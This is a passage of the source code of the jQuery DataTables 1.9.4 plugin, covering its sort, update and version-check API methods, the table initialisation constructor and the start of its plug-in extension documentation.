if ( oSettings.nTFoot )
{
_fnDrawHead( oSettings, oSettings.aoFooter );
}
/* If there are any 'open' rows, then we need to alter the colspan for this col change */
for ( i=0, iLen=oSettings.aoOpenRows.length ; i<iLen ; i++ )
{
oSettings.aoOpenRows[i].nTr.colSpan = _fnVisbleColumns( oSettings );
}
/* Do a redraw incase anything depending on the table columns needs it
* (built-in: scrolling)
*/
if ( bRedraw === undefined || bRedraw )
{
_fnAdjustColumnSizing( oSettings );
_fnDraw( oSettings );
}
_fnSaveState( oSettings );
};
/**
* Get the settings for a particular table for external manipulation
* @returns {object} DataTables settings object. See
* {@link DataTable.models.oSettings}
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
* var oSettings = oTable.fnSettings();
*
* // Show an example parameter from the settings
* alert( oSettings._iDisplayStart );
* } );
*/
this.fnSettings = function()
{
return _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
};
/**
* Sort the table by a particular column
* @param {int} iCol the data index to sort on. Note that this will not match the
* 'display index' if you have hidden data entries
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Sort immediately with columns 0 and 1
* oTable.fnSort( [ [0,'asc'], [1,'asc'] ] );
* } );
*/
this.fnSort = function( aaSort )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
oSettings.aaSorting = aaSort;
_fnSort( oSettings );
};
/**
* Attach a sort listener to an element for a given column
* @param {node} nNode the element to attach the sort listener to
* @param {int} iColumn the column that a click on this node will sort on
* @param {function} [fnCallback] callback function when sort is run
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
*
* // Sort on column 1, when 'sorter' is clicked on
* oTable.fnSortListener( document.getElementById('sorter'), 1 );
* } );
*/
this.fnSortListener = function( nNode, iColumn, fnCallback )
{
_fnSortAttachListener( _fnSettingsFromNode( this[DataTable.ext.iApiIndex] ), nNode, iColumn,
fnCallback );
};
/**
* Update a table cell or row - this method will accept either a single value to
* update the cell with, an array of values with one element for each column or
* an object in the same format as the original data source. The function is
* self-referencing in order to make the multi column updates easier.
* @param {object|array|string} mData Data to update the cell/row with
* @param {node|int} mRow TR element you want to update or the aoData index
* @param {int} [iColumn] The column to update (not used of mData is an array or object)
* @param {bool} [bRedraw=true] Redraw the table or not
* @param {bool} [bAction=true] Perform pre-draw actions or not
* @returns {int} 0 on success, 1 on error
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
* oTable.fnUpdate( 'Example update', 0, 0 ); // Single cell
* oTable.fnUpdate( ['a', 'b', 'c', 'd', 'e'], 1, 0 ); // Row
* } );
*/
this.fnUpdate = function( mData, mRow, iColumn, bRedraw, bAction )
{
var oSettings = _fnSettingsFromNode( this[DataTable.ext.iApiIndex] );
var i, iLen, sDisplay;
var iRow = (typeof mRow === 'object') ?
_fnNodeToDataIndex(oSettings, mRow) : mRow;
if ( $.isArray(mData) && iColumn === undefined )
{
/* Array update - update the whole row */
oSettings.aoData[iRow]._aData = mData.slice();
/* Flag to the function that we are recursing */
for ( i=0 ; i<oSettings.aoColumns.length ; i++ )
{
this.fnUpdate( _fnGetCellData( oSettings, iRow, i ), iRow, i, false, false );
}
}
else if ( $.isPlainObject(mData) && iColumn === undefined )
{
/* Object update - update the whole row - assume the developer gets the object right */
oSettings.aoData[iRow]._aData = $.extend( true, {}, mData );
for ( i=0 ; i<oSettings.aoColumns.length ; i++ )
{
this.fnUpdate( _fnGetCellData( oSettings, iRow, i ), iRow, i, false, false );
}
}
else
{
/* Individual cell update */
_fnSetCellData( oSettings, iRow, iColumn, mData );
sDisplay = _fnGetCellData( oSettings, iRow, iColumn, 'display' );
var oCol = oSettings.aoColumns[iColumn];
if ( oCol.fnRender !== null )
{
sDisplay = _fnRender( oSettings, iRow, iColumn );
if ( oCol.bUseRendered )
{
_fnSetCellData( oSettings, iRow, iColumn, sDisplay );
}
}
if ( oSettings.aoData[iRow].nTr !== null )
{
/* Do the actual HTML update */
_fnGetTdNodes( oSettings, iRow )[iColumn].innerHTML = sDisplay;
}
}
/* Modify the search index for this row (strictly this is likely not needed, since fnReDraw
* will rebuild the search array - however, the redraw might be disabled by the user)
*/
var iDisplayIndex = $.inArray( iRow, oSettings.aiDisplay );
oSettings.asDataSearch[iDisplayIndex] = _fnBuildSearchRow(
oSettings,
_fnGetRowData( oSettings, iRow, 'filter', _fnGetColumns( oSettings, 'bSearchable' ) )
);
/* Perform pre-draw actions */
if ( bAction === undefined || bAction )
{
_fnAdjustColumnSizing( oSettings );
}
/* Redraw the table */
if ( bRedraw === undefined || bRedraw )
{
_fnReDraw( oSettings );
}
return 0;
};
/**
* Provide a common method for plug-ins to check the version of DataTables being used, in order
* to ensure compatibility.
* @param {string} sVersion Version string to check for, in the format "X.Y.Z". Note that the
* formats "X" and "X.Y" are also acceptable.
* @returns {boolean} true if this version of DataTables is greater or equal to the required
* version, or false if this version of DataTales is not suitable
* @method
* @dtopt API
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
* alert( oTable.fnVersionCheck( '1.9.0' ) );
* } );
*/
this.fnVersionCheck = DataTable.ext.fnVersionCheck;
/*
* This is really a good bit rubbish this method of exposing the internal methods
* publicly... - To be fixed in 2.0 using methods on the prototype
*/
/**
* Create a wrapper function for exporting an internal functions to an external API.
* @param {string} sFunc API function name
* @returns {function} wrapped function
* @memberof DataTable#oApi
*/
function _fnExternApiFunc (sFunc)
{
return function() {
var aArgs = [_fnSettingsFromNode(this[DataTable.ext.iApiIndex])].concat(
Array.prototype.slice.call(arguments) );
return DataTable.ext.oApi[sFunc].apply( this, aArgs );
};
}
/**
* Reference to internal functions for use by plug-in developers. Note that these
* methods are references to internal functions and are considered to be private.
* If you use these methods, be aware that they are liable to change between versions
* (check the upgrade notes).
* @namespace
*/
this.oApi = {
"_fnExternApiFunc": _fnExternApiFunc,
"_fnInitialise": _fnInitialise,
"_fnInitComplete": _fnInitComplete,
"_fnLanguageCompat": _fnLanguageCompat,
"_fnAddColumn": _fnAddColumn,
"_fnColumnOptions": _fnColumnOptions,
"_fnAddData": _fnAddData,
"_fnCreateTr": _fnCreateTr,
"_fnGatherData": _fnGatherData,
"_fnBuildHead": _fnBuildHead,
"_fnDrawHead": _fnDrawHead,
"_fnDraw": _fnDraw,
"_fnReDraw": _fnReDraw,
"_fnAjaxUpdate": _fnAjaxUpdate,
"_fnAjaxParameters": _fnAjaxParameters,
"_fnAjaxUpdateDraw": _fnAjaxUpdateDraw,
"_fnServerParams": _fnServerParams,
"_fnAddOptionsHtml": _fnAddOptionsHtml,
"_fnFeatureHtmlTable": _fnFeatureHtmlTable,
"_fnScrollDraw": _fnScrollDraw,
"_fnAdjustColumnSizing": _fnAdjustColumnSizing,
"_fnFeatureHtmlFilter": _fnFeatureHtmlFilter,
"_fnFilterComplete": _fnFilterComplete,
"_fnFilterCustom": _fnFilterCustom,
"_fnFilterColumn": _fnFilterColumn,
"_fnFilter": _fnFilter,
"_fnBuildSearchArray": _fnBuildSearchArray,
"_fnBuildSearchRow": _fnBuildSearchRow,
"_fnFilterCreateSearch": _fnFilterCreateSearch,
"_fnDataToSearch": _fnDataToSearch,
"_fnSort": _fnSort,
"_fnSortAttachListener": _fnSortAttachListener,
"_fnSortingClasses": _fnSortingClasses,
"_fnFeatureHtmlPaginate": _fnFeatureHtmlPaginate,
"_fnPageChange": _fnPageChange,
"_fnFeatureHtmlInfo": _fnFeatureHtmlInfo,
"_fnUpdateInfo": _fnUpdateInfo,
"_fnFeatureHtmlLength": _fnFeatureHtmlLength,
"_fnFeatureHtmlProcessing": _fnFeatureHtmlProcessing,
"_fnProcessingDisplay": _fnProcessingDisplay,
"_fnVisibleToColumnIndex": _fnVisibleToColumnIndex,
"_fnColumnIndexToVisible": _fnColumnIndexToVisible,
"_fnNodeToDataIndex": _fnNodeToDataIndex,
"_fnVisbleColumns": _fnVisbleColumns,
"_fnCalculateEnd": _fnCalculateEnd,
"_fnConvertToWidth": _fnConvertToWidth,
"_fnCalculateColumnWidths": _fnCalculateColumnWidths,
"_fnScrollingWidthAdjust": _fnScrollingWidthAdjust,
"_fnGetWidestNode": _fnGetWidestNode,
"_fnGetMaxLenString": _fnGetMaxLenString,
"_fnStringToCss": _fnStringToCss,
"_fnDetectType": _fnDetectType,
"_fnSettingsFromNode": _fnSettingsFromNode,
"_fnGetDataMaster": _fnGetDataMaster,
"_fnGetTrNodes": _fnGetTrNodes,
"_fnGetTdNodes": _fnGetTdNodes,
"_fnEscapeRegex": _fnEscapeRegex,
"_fnDeleteIndex": _fnDeleteIndex,
"_fnReOrderIndex": _fnReOrderIndex,
"_fnColumnOrdering": _fnColumnOrdering,
"_fnLog": _fnLog,
"_fnClearTable": _fnClearTable,
"_fnSaveState": _fnSaveState,
"_fnLoadState": _fnLoadState,
"_fnCreateCookie": _fnCreateCookie,
"_fnReadCookie": _fnReadCookie,
"_fnDetectHeader": _fnDetectHeader,
"_fnGetUniqueThs": _fnGetUniqueThs,
"_fnScrollBarWidth": _fnScrollBarWidth,
"_fnApplyToChildren": _fnApplyToChildren,
"_fnMap": _fnMap,
"_fnGetRowData": _fnGetRowData,
"_fnGetCellData": _fnGetCellData,
"_fnSetCellData": _fnSetCellData,
"_fnGetObjectDataFn": _fnGetObjectDataFn,
"_fnSetObjectDataFn": _fnSetObjectDataFn,
"_fnApplyColumnDefs": _fnApplyColumnDefs,
"_fnBindAction": _fnBindAction,
"_fnExtend": _fnExtend,
"_fnCallbackReg": _fnCallbackReg,
"_fnCallbackFire": _fnCallbackFire,
"_fnJsonString": _fnJsonString,
"_fnRender": _fnRender,
"_fnNodeToColumnIndex": _fnNodeToColumnIndex,
"_fnInfoMacros": _fnInfoMacros,
"_fnBrowserDetect": _fnBrowserDetect,
"_fnGetColumns": _fnGetColumns
};
$.extend( DataTable.ext.oApi, this.oApi );
for ( var sFunc in DataTable.ext.oApi )
{
if ( sFunc )
{
this[sFunc] = _fnExternApiFunc(sFunc);
}
}
var _that = this;
this.each(function() {
var i=0, iLen, j, jLen, k, kLen;
var sId = this.getAttribute( 'id' );
var bInitHandedOff = false;
var bUsePassedData = false;
/* Sanity check */
if ( this.nodeName.toLowerCase() != 'table' )
{
_fnLog( null, 0, "Attempted to initialise DataTables on a node which is not a "+
"table: "+this.nodeName );
return;
}
/* Check to see if we are re-initialising a table */
for ( i=0, iLen=DataTable.settings.length ; i<iLen ; i++ )
{
/* Base check on table node */
if ( DataTable.settings[i].nTable == this )
{
if ( oInit === undefined || oInit.bRetrieve )
{
return DataTable.settings[i].oInstance;
}
else if ( oInit.bDestroy )
{
DataTable.settings[i].oInstance.fnDestroy();
break;
}
else
{
_fnLog( DataTable.settings[i], 0, "Cannot reinitialise DataTable.\n\n"+
"To retrieve the DataTables object for this table, pass no arguments or see "+
"the docs for bRetrieve and bDestroy" );
return;
}
}
/* If the element we are initialising has the same ID as a table which was previously
* initialised, but the table nodes don't match (from before) then we destroy the old
* instance by simply deleting it. This is under the assumption that the table has been
* destroyed by other methods. Anyone using non-id selectors will need to do this manually
*/
if ( DataTable.settings[i].sTableId == this.id )
{
DataTable.settings.splice( i, 1 );
break;
}
}
/* Ensure the table has an ID - required for accessibility */
if ( sId === null || sId === "" )
{
sId = "DataTables_Table_"+(DataTable.ext._oExternConfig.iNextUnique++);
this.id = sId;
}
/* Create the settings object for this table and set some of the default parameters */
var oSettings = $.extend( true, {}, DataTable.models.oSettings, {
"nTable": this,
"oApi": _that.oApi,
"oInit": oInit,
"sDestroyWidth": $(this).width(),
"sInstance": sId,
"sTableId": sId
} );
DataTable.settings.push( oSettings );
// Need to add the instance after the instance after the settings object has been added
// to the settings array, so we can self reference the table instance if more than one
oSettings.oInstance = (_that.length===1) ? _that : $(this).dataTable();
/* Setting up the initialisation object */
if ( !oInit )
{
oInit = {};
}
// Backwards compatibility, before we apply all the defaults
if ( oInit.oLanguage )
{
_fnLanguageCompat( oInit.oLanguage );
}
oInit = _fnExtend( $.extend(true, {}, DataTable.defaults), oInit );
// Map the initialisation options onto the settings object
_fnMap( oSettings.oFeatures, oInit, "bPaginate" );
_fnMap( oSettings.oFeatures, oInit, "bLengthChange" );
_fnMap( oSettings.oFeatures, oInit, "bFilter" );
_fnMap( oSettings.oFeatures, oInit, "bSort" );
_fnMap( oSettings.oFeatures, oInit, "bInfo" );
_fnMap( oSettings.oFeatures, oInit, "bProcessing" );
_fnMap( oSettings.oFeatures, oInit, "bAutoWidth" );
_fnMap( oSettings.oFeatures, oInit, "bSortClasses" );
_fnMap( oSettings.oFeatures, oInit, "bServerSide" );
_fnMap( oSettings.oFeatures, oInit, "bDeferRender" );
_fnMap( oSettings.oScroll, oInit, "sScrollX", "sX" );
_fnMap( oSettings.oScroll, oInit, "sScrollXInner", "sXInner" );
_fnMap( oSettings.oScroll, oInit, "sScrollY", "sY" );
_fnMap( oSettings.oScroll, oInit, "bScrollCollapse", "bCollapse" );
_fnMap( oSettings.oScroll, oInit, "bScrollInfinite", "bInfinite" );
_fnMap( oSettings.oScroll, oInit, "iScrollLoadGap", "iLoadGap" );
_fnMap( oSettings.oScroll, oInit, "bScrollAutoCss", "bAutoCss" );
_fnMap( oSettings, oInit, "asStripeClasses" );
_fnMap( oSettings, oInit, "asStripClasses", "asStripeClasses" ); // legacy
_fnMap( oSettings, oInit, "fnServerData" );
_fnMap( oSettings, oInit, "fnFormatNumber" );
_fnMap( oSettings, oInit, "sServerMethod" );
_fnMap( oSettings, oInit, "aaSorting" );
_fnMap( oSettings, oInit, "aaSortingFixed" );
_fnMap( oSettings, oInit, "aLengthMenu" );
_fnMap( oSettings, oInit, "sPaginationType" );
_fnMap( oSettings, oInit, "sAjaxSource" );
_fnMap( oSettings, oInit, "sAjaxDataProp" );
_fnMap( oSettings, oInit, "iCookieDuration" );
_fnMap( oSettings, oInit, "sCookiePrefix" );
_fnMap( oSettings, oInit, "sDom" );
_fnMap( oSettings, oInit, "bSortCellsTop" );
_fnMap( oSettings, oInit, "iTabIndex" );
_fnMap( oSettings, oInit, "oSearch", "oPreviousSearch" );
_fnMap( oSettings, oInit, "aoSearchCols", "aoPreSearchCols" );
_fnMap( oSettings, oInit, "iDisplayLength", "_iDisplayLength" );
_fnMap( oSettings, oInit, "bJQueryUI", "bJUI" );
_fnMap( oSettings, oInit, "fnCookieCallback" );
_fnMap( oSettings, oInit, "fnStateLoad" );
_fnMap( oSettings, oInit, "fnStateSave" );
_fnMap( oSettings.oLanguage, oInit, "fnInfoCallback" );
/* Callback functions which are array driven */
_fnCallbackReg( oSettings, 'aoDrawCallback', oInit.fnDrawCallback, 'user' );
_fnCallbackReg( oSettings, 'aoServerParams', oInit.fnServerParams, 'user' );
_fnCallbackReg( oSettings, 'aoStateSaveParams', oInit.fnStateSaveParams, 'user' );
_fnCallbackReg( oSettings, 'aoStateLoadParams', oInit.fnStateLoadParams, 'user' );
_fnCallbackReg( oSettings, 'aoStateLoaded', oInit.fnStateLoaded, 'user' );
_fnCallbackReg( oSettings, 'aoRowCallback', oInit.fnRowCallback, 'user' );
_fnCallbackReg( oSettings, 'aoRowCreatedCallback', oInit.fnCreatedRow, 'user' );
_fnCallbackReg( oSettings, 'aoHeaderCallback', oInit.fnHeaderCallback, 'user' );
_fnCallbackReg( oSettings, 'aoFooterCallback', oInit.fnFooterCallback, 'user' );
_fnCallbackReg( oSettings, 'aoInitComplete', oInit.fnInitComplete, 'user' );
_fnCallbackReg( oSettings, 'aoPreDrawCallback', oInit.fnPreDrawCallback, 'user' );
if ( oSettings.oFeatures.bServerSide && oSettings.oFeatures.bSort &&
oSettings.oFeatures.bSortClasses )
{
/* Enable sort classes for server-side processing. Safe to do it here, since server-side
* processing must be enabled by the developer
*/
_fnCallbackReg( oSettings, 'aoDrawCallback', _fnSortingClasses, 'server_side_sort_classes' );
}
else if ( oSettings.oFeatures.bDeferRender )
{
_fnCallbackReg( oSettings, 'aoDrawCallback', _fnSortingClasses, 'defer_sort_classes' );
}
if ( oInit.bJQueryUI )
{
/* Use the JUI classes object for display. You could clone the oStdClasses object if
* you want to have multiple tables with multiple independent classes
*/
$.extend( oSettings.oClasses, DataTable.ext.oJUIClasses );
if ( oInit.sDom === DataTable.defaults.sDom && DataTable.defaults.sDom === "lfrtip" )
{
/* Set the DOM to use a layout suitable for jQuery UI's theming */
oSettings.sDom = '<"H"lfr>t<"F"ip>';
}
}
else
{
$.extend( oSettings.oClasses, DataTable.ext.oStdClasses );
}
$(this).addClass( oSettings.oClasses.sTable );
/* Calculate the scroll bar width and cache it for use later on */
if ( oSettings.oScroll.sX !== "" || oSettings.oScroll.sY !== "" )
{
oSettings.oScroll.iBarWidth = _fnScrollBarWidth();
}
if ( oSettings.iInitDisplayStart === undefined )
{
/* Display start point, taking into account the save saving */
oSettings.iInitDisplayStart = oInit.iDisplayStart;
oSettings._iDisplayStart = oInit.iDisplayStart;
}
/* Must be done after everything which can be overridden by a cookie! */
if ( oInit.bStateSave )
{
oSettings.oFeatures.bStateSave = true;
_fnLoadState( oSettings, oInit );
_fnCallbackReg( oSettings, 'aoDrawCallback', _fnSaveState, 'state_save' );
}
if ( oInit.iDeferLoading !== null )
{
oSettings.bDeferLoading = true;
var tmp = $.isArray( oInit.iDeferLoading );
oSettings._iRecordsDisplay = tmp ? oInit.iDeferLoading[0] : oInit.iDeferLoading;
oSettings._iRecordsTotal = tmp ? oInit.iDeferLoading[1] : oInit.iDeferLoading;
}
if ( oInit.aaData !== null )
{
bUsePassedData = true;
}
/* Language definitions */
if ( oInit.oLanguage.sUrl !== "" )
{
/* Get the language definitions from a file - because this Ajax call makes the language
* get async to the remainder of this function we use bInitHandedOff to indicate that
* _fnInitialise will be fired by the returned Ajax handler, rather than the constructor
*/
oSettings.oLanguage.sUrl = oInit.oLanguage.sUrl;
$.getJSON( oSettings.oLanguage.sUrl, null, function( json ) {
_fnLanguageCompat( json );
$.extend( true, oSettings.oLanguage, oInit.oLanguage, json );
_fnInitialise( oSettings );
} );
bInitHandedOff = true;
}
else
{
$.extend( true, oSettings.oLanguage, oInit.oLanguage );
}
/*
* Stripes
*/
if ( oInit.asStripeClasses === null )
{
oSettings.asStripeClasses =[
oSettings.oClasses.sStripeOdd,
oSettings.oClasses.sStripeEven
];
}
/* Remove row stripe classes if they are already on the table row */
iLen=oSettings.asStripeClasses.length;
oSettings.asDestroyStripes = [];
if (iLen)
{
var bStripeRemove = false;
var anRows = $(this).children('tbody').children('tr:lt(' + iLen + ')');
for ( i=0 ; i<iLen ; i++ )
{
if ( anRows.hasClass( oSettings.asStripeClasses[i] ) )
{
bStripeRemove = true;
/* Store the classes which we are about to remove so they can be re-added on destroy */
oSettings.asDestroyStripes.push( oSettings.asStripeClasses[i] );
}
}
if ( bStripeRemove )
{
anRows.removeClass( oSettings.asStripeClasses.join(' ') );
}
}
/*
* Columns
* See if we should load columns automatically or use defined ones
*/
var anThs = [];
var aoColumnsInit;
var nThead = this.getElementsByTagName('thead');
if ( nThead.length !== 0 )
{
_fnDetectHeader( oSettings.aoHeader, nThead[0] );
anThs = _fnGetUniqueThs( oSettings );
}
/* If not given a column array, generate one with nulls */
if ( oInit.aoColumns === null )
{
aoColumnsInit = [];
for ( i=0, iLen=anThs.length ; i<iLen ; i++ )
{
aoColumnsInit.push( null );
}
}
else
{
aoColumnsInit = oInit.aoColumns;
}
/* Add the columns */
for ( i=0, iLen=aoColumnsInit.length ; i<iLen ; i++ )
{
/* Short cut - use the loop to check if we have column visibility state to restore */
if ( oInit.saved_aoColumns !== undefined && oInit.saved_aoColumns.length == iLen )
{
if ( aoColumnsInit[i] === null )
{
aoColumnsInit[i] = {};
}
aoColumnsInit[i].bVisible = oInit.saved_aoColumns[i].bVisible;
}
_fnAddColumn( oSettings, anThs ? anThs[i] : null );
}
/* Apply the column definitions */
_fnApplyColumnDefs( oSettings, oInit.aoColumnDefs, aoColumnsInit, function (iCol, oDef) {
_fnColumnOptions( oSettings, iCol, oDef );
} );
/*
* Sorting
* Check the aaSorting array
*/
for ( i=0, iLen=oSettings.aaSorting.length ; i<iLen ; i++ )
{
if ( oSettings.aaSorting[i][0] >= oSettings.aoColumns.length )
{
oSettings.aaSorting[i][0] = 0;
}
var oColumn = oSettings.aoColumns[ oSettings.aaSorting[i][0] ];
/* Add a default sorting index */
if ( oSettings.aaSorting[i][2] === undefined )
{
oSettings.aaSorting[i][2] = 0;
}
/* If aaSorting is not defined, then we use the first indicator in asSorting */
if ( oInit.aaSorting === undefined && oSettings.saved_aaSorting === undefined )
{
oSettings.aaSorting[i][1] = oColumn.asSorting[0];
}
/* Set the current sorting index based on aoColumns.asSorting */
for ( j=0, jLen=oColumn.asSorting.length ; j<jLen ; j++ )
{
if ( oSettings.aaSorting[i][1] == oColumn.asSorting[j] )
{
oSettings.aaSorting[i][2] = j;
break;
}
}
}
/* Do a first pass on the sorting classes (allows any size changes to be taken into
* account, and also will apply sorting disabled classes if disabled
*/
_fnSortingClasses( oSettings );
/*
* Final init
* Cache the header, body and footer as required, creating them if needed
*/
/* Browser support detection */
_fnBrowserDetect( oSettings );
// Work around for Webkit bug 83867 - store the caption-side before removing from doc
var captions = $(this).children('caption').each( function () {
this._captionSide = $(this).css('caption-side');
} );
var thead = $(this).children('thead');
if ( thead.length === 0 )
{
thead = [ document.createElement( 'thead' ) ];
this.appendChild( thead[0] );
}
oSettings.nTHead = thead[0];
var tbody = $(this).children('tbody');
if ( tbody.length === 0 )
{
tbody = [ document.createElement( 'tbody' ) ];
this.appendChild( tbody[0] );
}
oSettings.nTBody = tbody[0];
oSettings.nTBody.setAttribute( "role", "alert" );
oSettings.nTBody.setAttribute( "aria-live", "polite" );
oSettings.nTBody.setAttribute( "aria-relevant", "all" );
var tfoot = $(this).children('tfoot');
if ( tfoot.length === 0 && captions.length > 0 && (oSettings.oScroll.sX !== "" || oSettings.oScroll.sY !== "") )
{
// If we are a scrolling table, and no footer has been given, then we need to create
// a tfoot element for the caption element to be appended to
tfoot = [ document.createElement( 'tfoot' ) ];
this.appendChild( tfoot[0] );
}
if ( tfoot.length > 0 )
{
oSettings.nTFoot = tfoot[0];
_fnDetectHeader( oSettings.aoFooter, oSettings.nTFoot );
}
/* Check if there is data passing into the constructor */
if ( bUsePassedData )
{
for ( i=0 ; i<oInit.aaData.length ; i++ )
{
_fnAddData( oSettings, oInit.aaData[ i ] );
}
}
else
{
/* Grab the data from the page */
_fnGatherData( oSettings );
}
/* Copy the data index array */
oSettings.aiDisplay = oSettings.aiDisplayMaster.slice();
/* Initialisation complete - table can be drawn */
oSettings.bInitialised = true;
/* Check if we need to initialise the table (it might not have been handed off to the
* language processor)
*/
if ( bInitHandedOff === false )
{
_fnInitialise( oSettings );
}
} );
_that = null;
return this;
};
/**
* Provide a common method for plug-ins to check the version of DataTables being used, in order
* to ensure compatibility.
* @param {string} sVersion Version string to check for, in the format "X.Y.Z". Note that the
* formats "X" and "X.Y" are also acceptable.
* @returns {boolean} true if this version of DataTables is greater or equal to the required
* version, or false if this version of DataTales is not suitable
* @static
* @dtopt API-Static
*
* @example
* alert( $.fn.dataTable.fnVersionCheck( '1.9.0' ) );
*/
DataTable.fnVersionCheck = function( sVersion )
{
/* This is cheap, but effective */
var fnZPad = function (Zpad, count)
{
while(Zpad.length < count) {
Zpad += '0';
}
return Zpad;
};
var aThis = DataTable.ext.sVersion.split('.');
var aThat = sVersion.split('.');
var sThis = '', sThat = '';
for ( var i=0, iLen=aThat.length ; i<iLen ; i++ )
{
sThis += fnZPad( aThis[i], 3 );
sThat += fnZPad( aThat[i], 3 );
}
return parseInt(sThis, 10) >= parseInt(sThat, 10);
};
/**
* Check if a TABLE node is a DataTable table already or not.
* @param {node} nTable The TABLE node to check if it is a DataTable or not (note that other
* node types can be passed in, but will always return false).
* @returns {boolean} true the table given is a DataTable, or false otherwise
* @static
* @dtopt API-Static
*
* @example
* var ex = document.getElementById('example');
* if ( ! $.fn.DataTable.fnIsDataTable( ex ) ) {
* $(ex).dataTable();
* }
*/
DataTable.fnIsDataTable = function ( nTable )
{
var o = DataTable.settings;
for ( var i=0 ; i<o.length ; i++ )
{
if ( o[i].nTable === nTable || o[i].nScrollHead === nTable || o[i].nScrollFoot === nTable )
{
return true;
}
}
return false;
};
/**
* Get all DataTable tables that have been initialised - optionally you can select to
* get only currently visible tables.
* @param {boolean} [bVisible=false] Flag to indicate if you want all (default) or
* visible tables only.
* @returns {array} Array of TABLE nodes (not DataTable instances) which are DataTables
* @static
* @dtopt API-Static
*
* @example
* var table = $.fn.dataTable.fnTables(true);
* if ( table.length > 0 ) {
* $(table).dataTable().fnAdjustColumnSizing();
* }
*/
DataTable.fnTables = function ( bVisible )
{
var out = [];
jQuery.each( DataTable.settings, function (i, o) {
if ( !bVisible || (bVisible === true && $(o.nTable).is(':visible')) )
{
out.push( o.nTable );
}
} );
return out;
};
/**
* Version string for plug-ins to check compatibility. Allowed format is
* a.b.c.d.e where: a:int, b:int, c:int, d:string(dev|beta), e:int. d and
* e are optional
* @member
* @type string
* @default Version number
*/
DataTable.version = "1.9.4";
/**
* Private data store, containing all of the settings objects that are created for the
* tables on a given page.
*
* Note that the <i>DataTable.settings</i> object is aliased to <i>jQuery.fn.dataTableExt</i>
* through which it may be accessed and manipulated, or <i>jQuery.fn.dataTable.settings</i>.
* @member
* @type array
* @default []
* @private
*/
DataTable.settings = [];
/**
* Object models container, for the various models that DataTables has available
* to it. These models define the objects that are used to hold the active state
* and configuration of the table.
* @namespace
*/
DataTable.models = {};
/**
* DataTables extension options and plug-ins. This namespace acts as a collection "area"
* for plug-ins that can be used to extend the default DataTables behaviour - indeed many
* of the build in methods use this method to provide their own capabilities (sorting methods
* for example).
*
* Note that this namespace is aliased to jQuery.fn.dataTableExt so it can be readily accessed
* and modified by plug-ins.
* @namespace
*/
DataTable.models.ext = {
/**
* Plug-in filtering functions - this method of filtering is complimentary to the default
* type based filtering, and a lot more comprehensive as it allows you complete control
* over the filtering logic. Each element in this array is a function (parameters
* described below) that is called for every row in the table, and your logic decides if
* it should be included in the filtered data set or not.
* <ul>
* <li>
* Function input parameters:
* <ul>
* <li>{object} DataTables settings object: see {@link DataTable.models.oSettings}.</li>
* <li>{array|object} Data for the row to be processed (same as the original format
* that was passed in as the data source, or an array from a DOM data source</li>
* <li>{int} Row index in aoData ({@link DataTable.models.oSettings.aoData}), which can
* be useful to retrieve the TR element if you need DOM interaction.</li>
* </ul>
* </li>
* <li>
* Function return:
* <ul>
* <li>{boolean} Include the row in the filtered result set (true) or not (false)</li>
* </ul>
* </il>
* </ul>
* @type array
* @default []
*
* @example
* // The following example shows custom filtering being applied to the fourth column (i.e.
* // the aData[3] index) based on two input values from the end-user, matching the data in
* // a certain range.
* $.fn.dataTableExt.afnFiltering.push(
* function( oSettings, aData, iDataIndex ) {
* var iMin = document.getElementById('min').value * 1;
* var iMax = document.getElementById('max').value * 1;
* var iVersion = aData[3] == "-" ? 0 : aData[3]*1;
* if ( iMin == "" && iMax == "" ) {
* return true;
* }
* else if ( iMin == "" && iVersion < iMax ) {
* return true;
* }
* else if ( iMin < iVersion && "" == iMax ) {
* return true;
* }
* else if ( iMin < iVersion && iVersion < iMax ) {
* return true;
* }
* return false;
* }
* );
*/
"afnFiltering": [],
/**
* Plug-in sorting functions - this method of sorting is complimentary to the default type
* based sorting that DataTables does automatically, allowing much greater control over the
* the data that is being used to sort a column. This is useful if you want to do sorting
* based on live data (for example the contents of an 'input' element) rather than just the
* static string that DataTables knows of. The way these plug-ins work is that you create
* an array of the values you wish to be sorted for the column in question and then return
* that array. Which pre-sorting function is run here depends on the sSortDataType parameter
* that is used for the column (if any). This is the corollary of <i>ofnSearch</i> for sort
* data.
* <ul>
* <li>
* Function input parameters:
* <ul>
* <li>{object} DataTables settings object: see {@link DataTable.models.oSettings}.</li>
* <li>{int} Target column index</li>
* </ul>
* </li>
* <li>
* Function return:
* <ul>
* <li>{array} Data for the column to be sorted upon</li>
* </ul>
* </il>
* </ul>
*
* Note that as of v1.9, it is typically preferable to use <i>mData</i> to prepare data for
* the different uses that DataTables can put the data to. Specifically <i>mData</i> when
* used as a function will give you a 'type' (sorting, filtering etc) that you can use to
* prepare the data as required for the different types. As such, this method is deprecated.
* @type array
* @default []
* @deprecated
*
* @example
* // Updating the cached sorting information with user entered values in HTML input elements
* jQuery.fn.dataTableExt.afnSortData['dom-text'] = function ( oSettings, iColumn )
* {
* var aData = [];
* $( 'td:eq('+iColumn+') input', oSettings.oApi._fnGetTrNodes(oSettings) ).each( function () {
* aData.push( this.value );
* } );
* return aData;
* }
*/
"afnSortData": [],
/**
* Feature plug-ins - This is an array of objects which describe the feature plug-ins that are
* available to DataTables. These feature plug-ins are accessible through the sDom initialisation
* option. As such, each feature plug-in must describe a function that is used to initialise
* itself (fnInit), a character so the feature can be enabled by sDom (cFeature) and the name
* of the feature (sFeature). Thus the objects attached to this method must provide:
* <ul>
* <li>{function} fnInit Initialisation of the plug-in
* <ul>
* <li>
* Function input parameters:
* <ul>
* <li>{object} DataTables settings object: see {@link DataTable.models.oSettings}.</li>
* </ul>
* </li>
* <li>
* Function return:
* <ul>
* <li>{node|null} The element which contains your feature. Note that the return
* may also be void if your plug-in does not require to inject any DOM elements
* into DataTables control (sDom) - for example this might be useful when
* developing a plug-in which allows table control via keyboard entry.</li>
* </ul>
* </il>
* </ul>
* </li>
* <li>{character} cFeature Character that will be matched in sDom - case sensitive</li>
* <li>{string} sFeature Feature name</li>
* </ul>
* @type array
* @default []
*
* @example
* // How TableTools initialises itself.
* $.fn.dataTableExt.aoFeatures.push( {
* "fnInit": function( oSettings ) {
